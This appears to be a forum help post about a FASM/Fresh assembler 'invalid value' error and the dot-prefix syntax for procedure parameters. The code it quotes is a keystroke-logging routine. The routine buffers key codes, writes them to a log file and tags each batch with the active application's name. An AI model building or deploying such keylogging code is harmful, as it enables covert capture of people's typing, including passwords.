proc ProcessKeys, wParam, lParam
     .nBytes dd ?
     begin

     push    esi
     push    edi

     mov     eax, [wParam]
     mov     edx, [memPtr]
     mov     ecx, [bufferPos]
     mov     byte [edx + ecx], al
     inc     [bufferPos]
     cmp     [bufferPos], 20
     jb      .buffer_not_full ;line that cases invalid value error 

     stdcall OpenLogFile, testFile
     lea     esi, [.nBytes]

     ; Determine if keys are being written
     ; to the same application

     invoke  lstrcmp, prevApp, [curApp]
     jz      .write_keystrokes

     ; write appname to file

     invoke  lstrlen, [curApp]
     invoke  WriteFile, [fileHandle], crLf, 2, esi, 0
     invoke  lstrlen, [curApp]
     invoke  WriteFile, [fileHandle], [curApp], eax, esi, 0
     invoke  WriteFile, [fileHandle], crLf, 2, esi, 0

 .write_keystrokes:
     invoke  WriteFile, [fileHandle], [memPtr], 20, esi, 0
     invoke  CloseHandle, [fileHandle]
     invoke  lstrcpy, prevApp, [curApp]
     mov     [bufferPos], 0
 .buffer_not_full:
     pop     edi
     pop     esi
     return
endp                              

    

 
     mov     eax, [.wParam]
    

 
Error:invalid value <<jb .buffer_not_full>> processmessages.asm[36] 
    

... I see that the procedures are defined the same way as mine without the dot.

proc ProcessKeys, wParam, lParam ; it is right...
begin
......
    mov   eax, [.wParam]    ; this is right to...
    mov   eax, [wParam]     ; this is wrong...
.........
endp    

I am using fresh1_0_1c.